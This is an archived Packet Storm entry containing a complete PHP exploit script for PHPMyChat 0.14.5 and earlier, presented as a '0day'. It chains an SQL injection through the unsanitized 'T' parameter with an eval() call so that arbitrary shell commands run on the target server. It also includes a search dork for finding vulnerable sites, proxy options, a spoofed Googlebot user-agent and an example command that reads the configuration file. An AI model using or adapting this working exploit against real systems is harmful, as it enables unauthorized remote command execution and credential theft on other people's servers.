phpmychat_0145_xpl

2006-04-06T00:00:00
ID PACKETSTORM:45229
Type packetstorm
Reporter rgod
Modified 2006-04-06T00:00:00

Description

                                        
                                            `#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "PHPMyChat <= 0.14.5 \"SYS enter\" remote cmmnds xctn 0day\r\n";  
echo "by rgod rgod@autistici.org\r\n";  
echo "site: http://retrogod.altervista.org\r\n\r\n";  
echo "dork: intext:\"2000-2001 The phpHeaven Team\" -sourceforge\r\n\r\n";  
  
if ($argc<4) {  
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";  
echo "host: target server (ip/hostname)\r\n";  
echo "path: path to PHPMyChat\r\n";  
echo "cmd: a shell command\r\n";  
echo "Options:\r\n";  
echo " -p[port]: specify a port other than 80\r\n";  
echo " -P[ip:port]: specify a proxy\r\n";  
echo "Examples:\r\n";  
echo "php ".$argv[0]." localhost /phpmychat/ cat ./config/config.lib.php3\r\n";  
echo "php ".$argv[0]." localhost /phpmychat/ ls -la -p81\r\n";  
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";  
die;  
}  
  
# explaination:  
#  
# sql injection in chat/messagesL.php3 near lines 56-60:  
# ...  
# If ($room != stripslashes($R))// Same nick in another room  
# {  
# $DbLink->query("INSERT INTO ".C_MSG_TBL." VALUES ($T, '$R', 'SYS exit', '', ".time().", '', 'sprintf(L_EXIT_ROM, \"".special_char($U,$Latin1,1)."\")')");  
# $kicked = 3;  
# }  
# ...  
#  
# have a look to "T" argument, it is not sanitized before to be used in our  
# INSERT query, so we can inject all the values we want and store them  
# in the c_messages table. Also it is not delimited by quotes & we do not need  
# quotes to extend the query, so this works regardless of magic_quotes_gpc settings  
#  
# sprintf() should be passed to an eval() near line 197:  
#  
# ...  
# // "System" messages  
#else  
#{  
#if ($Dest == " *")  
#{  
#$Message = "[".L_ANNOUNCE."]<BDO dir=\"${textDirection}\"></BDO> ".$Message;  
#}  
#else  
#{  
#if ($Dest != "") $NewMsg .= "<B><BDO dir=\"${textDirection}\"></BDO>>[".htmlspecialchars(stripslashes($Dest))."]<BDO dir=\"${textDirection}\"></BDO></B> ";  
#$Message = str_replace("$","\\$",$Message);// avoid '$' chars in nick to be parsed bellow  
#eval("\$Message = $Message;");  
#};  
#$NewMsg .= "<SPAN CLASS=\"notify\">".$Message."</SPAN></P>";  
#};  
# ...  
#  
# but what happen if we inject a system() call instead and if we simulate  
# to be the SYS user? :)  
#  
# this is 0day, enjoy it  
  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
$result='';$exa='';$cont=0;  
for ($i=0; $i<=strlen($string)-1; $i++)  
{  
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
{$result.=" .";}  
else  
{$result.=" ".$string[$i];}  
if (strlen(dechex(ord($string[$i])))==2)  
{$exa.=" ".dechex(ord($string[$i]));}  
else  
{$exa.=" 0".dechex(ord($string[$i]));}  
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
}  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
global $proxy, $host, $port, $html, $proxy_regex;  
if ($proxy=='') {  
$ock=fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo 'No response from '.$host.':'.$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo 'Not a valid proxy...';die;  
}  
$parts=explode(':',$proxy);  
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
$ock=fsockopen($parts[0],$parts[1]);  
if (!$ock) {  
echo 'No response from proxy...';die;  
}  
}  
fputs($ock,$packet);  
if ($proxy=='') {  
$html='';  
while (!feof($ock)) {  
$html.=fgets($ock);  
}  
}  
else {  
$html='';  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
$html.=fread($ock,1);  
}  
}  
fclose($ock);  
#debug  
#echo "\r\n".$html;  
}  
function make_seed()  
{  
list($usec, $sec) = explode(' ', microtime());  
return (float) $sec + ((float) $usec * 100000);  
}  
  
  
$host=$argv[1];  
$path=$argv[2];  
$action=$argv[3];  
$cmd="";$port=80;$proxy="";  
  
for ($i=3; $i<=$argc-1; $i++){  
$temp=$argv[$i][0].$argv[$i][1];  
if (($temp<>"-p") and ($temp<>"-P"))  
{$cmd.=" ".$argv[$i];}  
if ($temp=="-p")  
{  
$port=str_replace("-p","",$argv[$i]);  
}  
if ($temp=="-P")  
{  
$proxy=str_replace("-P","",$argv[$i]);  
}  
}  
$cmd=urlencode($cmd);  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
  
#step 1 -> SQL Injection, works regardsless of any magic_quotes_gpc seetings, it is an INSERT INTO query  
#let's store a shell in c_messages table  
$L="L=english";  
$U="";  
  
$T ="0,"; //type  
$T.="CHAR(68,101,102,97,117,108,116),"; //room (Default)  
$T.="CHAR(83,89,83,32,101,110,116,101,114),"; //username (SYS enter)  
$T.="0,";//latin1  
$T.="9999999999,";//m_time  
$T.="1,";//address  
  
//message (our encoded shell -> system($_GET[cmd]);die ) ,if system() is disabled, reencode a new one with passthru() or exec()  
//u can use an unlimited number of chars for this  
$T.="CHAR(115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,100,105,101))/*";  
  
$T="T=".urlencode($T);  
  
for ($i=0; $i<=1; $i++) //redo  
{  
srand(make_seed());  
$anumber = rand(1,99999);  
$R="R=Default".$anumber; //random, it must be different from the previous one  
$packet ="GET ".$p."chat/messagesL.php3?$L&$U&$T&$R HTTP/1.0\r\n";  
$packet.="X-Forwarded-For: suntzuuuuuuu\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
//debug  
//echo quick_dump($packet);  
sendpacketii($packet);  
}  
sleep(2);  
#step 2 -> shell is passed to an eval(), so we launch commands  
$packet ="GET ".$p."chat/messagesL.php3?L=english&R=Default&N=9999&T=0&U=SYS%20enter&cmd=".$cmd." HTTP/1.0\r\n";  
$packet.="User-Agent: Googlebot/2.1\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
//debug  
//echo quick_dump($packet);  
sendpacketii($packet);  
echo $html;  
?>  
`